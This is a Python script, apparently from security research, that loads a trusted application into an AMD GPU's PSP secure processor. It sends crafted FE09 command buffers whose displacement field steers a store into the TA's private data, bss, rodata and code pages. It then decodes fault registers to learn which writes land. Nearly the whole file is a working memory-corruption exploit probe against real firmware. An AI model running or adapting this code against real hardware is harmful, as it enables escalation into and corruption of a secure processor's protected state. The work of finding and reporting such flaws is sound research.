aboutsummaryrefslogtreecommitdiffstats
path: root/hw/gcp_fe09_image_probe.py
blob: cbdb542b865d64675815e5f1b6a5132910da9632 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python3
"""Is the TA's OWN private data (.data/.bss/ctx) writable from the FE09 store?

The TA image window [0x400000, 0x417000) is mapped (code RX, rodata RO, data/bss RW). GCP's
handler legitimately writes its ctx (a1+792/+832/+840) and .data during normal operation, so
those pages ARE read-write for the TA. Question: can the FE09 host-displaced store at PC
0x402fa0 reach them, or is it confined (per-phase MPU) to the shared buffer only?

target = 0x04013000 + 0x418 + D (mod 2^32). A landed store doesn't wedge, so we test
data/bss first (most likely RW), rodata next, code last (RO -> permission-fault control).

DFSR (C2PMSG_85) decode (ARM VMSA short descriptor, FS = bits[3:0] with bit[10]):
    0x5 / 0x7  -> translation fault (UNMAPPED)
    0xD / 0xF  -> permission fault (mapped but not writable here)
A store that LANDS on a TA data/bss page = we can corrupt TA private state (escalation).
A store that FAULTS with a PERMISSION code = the page exists but the MPU denies our write
(the per-phase-confinement hypothesis). A translation fault = that page simply isn't mapped.
"""
import struct, sys
sys.path.insert(0, '/root/psp/hw')
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am
adev = Device["AMD"].iface.dev_impl
psp = adev.psp

PARAMS_VA = 0x04013000
BASE = PARAMS_VA + 0x418
STORE_PC = 0x402fa0
def c2p(n): return getattr(adev, 'mmMP0_SMN_C2PMSG_%d' % n).read() & 0xFFFFFFFF
def frame(): return tuple(c2p(n) for n in range(82, 89))
def wide(): return {n: c2p(n) for n in range(78, 96)}
def decode_dfsr(d):
    fs = (d & 0xF) | ((d >> 6) & 0x10)
    return {0x5: 'UNMAPPED(sect-xlat)', 0x7: 'UNMAPPED(page-xlat)',
            0xD: 'PERM-DENIED(sect)', 0xF: 'PERM-DENIED(page)'}.get(fs, 'fs=%#x' % fs)

def alloc(n):
    pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
    return pa, adev.paddr2mc(pa)

app_pa, app_mc = alloc(0x80000)
blob = open('/root/psp/contall/ta_22-0-0-77_7c426e7f.bin', 'rb').read()
BUFLEN = 0x8000
cp, cmc = alloc(BUFLEN)

def load():
    n = (len(blob) + 3) & ~3
    adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob)); adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t = c.cmd.cmd_load_ta
    t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32; t.app_len = len(blob)
    t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = cmc & 0xFFFFFFFF, cmc >> 32; t.cmd_buf_len = BUFLEN
    try:
        r = psp._ring_submit(c); return r.resp.status & 0xFFFFFFFF, r.resp.session_id
    except Exception: return -1, None

def fe09(sid, disp):
    buf = bytearray(b'\x00' * BUFLEN)
    struct.pack_into('<I', buf, 0, 0xFE09); struct.pack_into('<I', buf, 0x10, 0)
    for o in (0x414, 0x818): struct.pack_into('<I', buf, o, 0xFFFFFFFB)
    struct.pack_into('<I', buf, 0x820, 1); struct.pack_into('<I', buf, 0x828, disp & 0xFFFFFFFF)
    adev.vram.view(cp, BUFLEN)[:] = bytes(buf); adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, 0xFE09
    try: return psp._ring_submit(c).resp.status & 0xFFFFFFFF
    except Exception: return -1

f0 = frame()
st, sid = load()
print('load=%#x sid=%s BUFLEN=%#x' % (st, sid, BUFLEN), flush=True)
if sid is None: raise SystemExit('load failed')

# data/bss first (most likely RW), rodata, then code last (RO permission control).
TARGETS = [
    ('control buf+0x200', PARAMS_VA + 0x200),
    ('bss 0x416800',      0x416800),
    ('bss 0x416400',      0x416400),
    ('data 0x4055d8(ctx?)',0x4055d8),
    ('data 0x405748',     0x405748),
    ('data 0x406000',     0x406000),
    ('data 0x4058f0',     0x4058f0),
    ('rodata 0x404000',   0x404000),
    ('code 0x402fa0(RO ctl)', 0x402fa0),
]
print('\n%-24s %-12s %-8s %s' % ('target', 'D', 'status', 'verdict'), flush=True)
for name, t in TARGETS:
    D = (t - BASE) & 0xFFFFFFFF
    st2 = fe09(sid, D)
    fr = frame()
    if (st2 == -1) or (fr != f0):
        pc, dfsr, fa = fr[2], fr[3], fr[4]
        if pc == STORE_PC:
            v = 'FAULT@STORE addr=%#x %s' % (fa, decode_dfsr(dfsr))
        else:
            v = '*** FAULT@OTHER pc=%#x addr=%#x -> landed+corrupted LIVE mem ***' % (pc, fa)
        print('%-24s %#-12x %-8s %s' % (name, D, 'FAULT', v), flush=True)
        print('wide:', {n: hex(x) for n, x in wide().items()}, flush=True)
        break
    else:
        print('%-24s %#-12x %#-8x %s' % (name, D, st2, '*** LANDED on TA private page -> WRITABLE ***'
                                         if not name.startswith('control') else 'landed'), flush=True)
print('ring:', 'WEDGED' if frame() != f0 else 'alive', flush=True)